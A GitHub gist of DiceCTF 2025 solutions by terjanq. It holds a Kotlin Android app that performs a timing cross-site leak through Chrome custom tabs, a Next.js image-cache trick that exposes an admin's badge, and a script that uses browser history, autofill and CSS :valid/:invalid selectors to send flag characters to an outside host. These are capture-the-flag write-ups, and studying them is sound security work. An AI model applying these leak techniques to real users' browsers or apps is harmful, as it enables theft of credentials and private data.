Skip to content

Instantly share code, notes, and snippets.

@terjanq
Last active April 2, 2025 13:29
Show Gist options
  • Save terjanq/b1f2c549144b6464009cf9000844d39a to your computer and use it in GitHub Desktop.
Save terjanq/b1f2c549144b6464009cf9000844d39a to your computer and use it in GitHub Desktop.
DiceCTF 2025 writeups by @terjanq
// This is a solution to misc/convenience-store challenge from DiceCTF 2025.
// It was solved by 7 teams.
//
// TL;DR Timing XS-Leak from an Android app using custom tabs
package com.dicectf2025quals.attackerapp
import android.content.ComponentName
import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.enableEdgeToEdge
import androidx.compose.material3.Text
import androidx.compose.runtime.Composable
import androidx.compose.ui.Modifier
import androidx.compose.ui.tooling.preview.Preview
import com.dicectf2025quals.attackerapp.ui.theme.XSLeak2Theme
import androidx.browser.customtabs.CustomTabsIntent
import androidx.core.net.toUri
import android.util.Log
import androidx.browser.customtabs.CustomTabsCallback
import androidx.browser.customtabs.CustomTabsClient
import androidx.browser.customtabs.CustomTabsServiceConnection
class MainActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
enableEdgeToEdge()
val URL = "http://10.2.2.2:8000/search?query="
CustomTabsClient.bindCustomTabsService(
this, "com.android.chrome", object : CustomTabsServiceConnection() {
override fun onCustomTabsServiceConnected(
name: ComponentName, client: CustomTabsClient
) {
var suffix = "dice{l0lcust0m"
Log.d("dicectf", "Navigation start")
var i = 0
val alph = "0123456789abcdefghijklmnopqrstuvwxyz}"
var lastC = '0'
fun next(){
var start : Long = 0
val session = client.newSession(object : CustomTabsCallback() {
override fun onNavigationEvent(navigationEvent: Int, extras: Bundle?) {
when (navigationEvent) {
CustomTabsCallback.NAVIGATION_FINISHED -> {
val time = System.currentTimeMillis() - start
Log.d("dicectf", "Finished, time: ($time)")
if(time > 500) {
suffix += lastC
i = 0
}
next()
}
CustomTabsCallback.NAVIGATION_FAILED -> {
val time = System.currentTimeMillis() - start
Log.d("dicectf", "Failed, time: ($time)")
next()
}
CustomTabsCallback.NAVIGATION_STARTED -> {
start = System.currentTimeMillis()
}
}
}
})
if(i<alph.length){
lastC = alph[i]
i++
Log.d("dicectf", "Checking: " + suffix + lastC)
val customTabsIntent = CustomTabsIntent.Builder(session).build()
customTabsIntent.launchUrl(this@MainActivity, (URL + suffix + lastC).toUri())
}
}
next()
}
override fun onServiceDisconnected(name: ComponentName) {}
}
)
}
}
@Composable
fun Greeting(name: String, modifier: Modifier = Modifier) {
Text(
text = "Hello $name!",
modifier = modifier
)
}
@Preview(showBackground = true)
@Composable
fun GreetingPreview() {
XSLeak2Theme {
Greeting("Android")
}
}

This is a solution to web/old-site-b-side challenge from DiceCTF 2025. It was solved by 8 teams.

  1. The app was using NextJS and admin's flag was stored as a badge (string at the end of gif).
  2. That badge was returned via /api/me/badge.
  3. We simply sent admin the URL: http://localhost:3000/_next/image?url=/api/me/badge&w=256&h=256&q=100
  4. After the visit, NextJS caches the image and we simply fetched the admin's flag from https://old-site-b-side-2b0e02a7f8d1d584.dicec.tf/_next/image?url=/api/me/badge&w=256&h=256&q=100
<script>
// This is a solution to web/safestnote challenge from DiceCTF 2025.
//
// This exploit is able to leak one bit of information per visit, hence
// it must be submitted to the admin several times.
//
// Using conditional operators in CSS we were first able to determine that contents
// of the flag is 36 character long then we were able to determine its charset.
// After that, we were simultanously leaking all characters of the flag at once
// by searching for patterns like
// dice.0....................................
// dice....................................0.
// We guessed the majority of the flag that was written in leet speak, reducing the
// number of requests required to be sent to the admin. The flag was something like
// dice{i_gu3ss_1t_w4snt_th3_s4f3st_<random_hex>}
//
// Rest of the writeup commented below.
var alph = '0123456789abcdefghijklmnopqrstuvwxyz_';
const HISTORY_POPULATE_SIZE = 6;
const sleep = d => new Promise(r=>setTimeout(r,d));
window.onload = async () => {
const url = new URL(location);
const step = parseInt(url.searchParams.get('step')) || 1;
if (step === HISTORY_POPULATE_SIZE) {
const pattern = decodeURIComponent(url.hash.slice(1));
// We add a custom note for admin's which is stored in localStorage on the challenge page.
// When we call history.go(-7) it goes to the screen where admin typed their password and
// Chrome will restore the prefilled input with admin's flag where also a note from localStorage
// is displayed. We trick the browser into prefilling the flag into our input and leak its
// contents through <input pattern=> combined with :valid and :invalid CSS selectors.
const note = [`<p><style>`,
`article [name=note]:valid{background:red url(//c.terjanq.me/${pattern})}`,
`article [name=note]:invalid{background:green url(//c.terjanq.me/invalid_${pattern})}`,
`</style>`,
`<form method=get>`,
`<input pattern=dice.${pattern}. name=note type=text required>`,
`</form>`].join('');
const newNoteWindow = open(`https://safestnote.dicec.tf/?note=${encodeURIComponent(note)}`);
await sleep(1000);
newNoteWindow.close();
// Go back in history to see admin's flag
history.go(-HISTORY_POPULATE_SIZE - 1);
} else {
// Because of back-forward cache we can't easily display overwritten note and flag at the same time.
// We found out that there is a limit of 6 bf-cached entries per tab and the older will get pruned.
// We used this fact to populate 6 new entries in the back-forward cache allowing us to display
// a newly added note and prefilled flag inside the input.
await sleep(100);
url.searchParams.set('step', step + 1);
location = url.href;
}
}
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment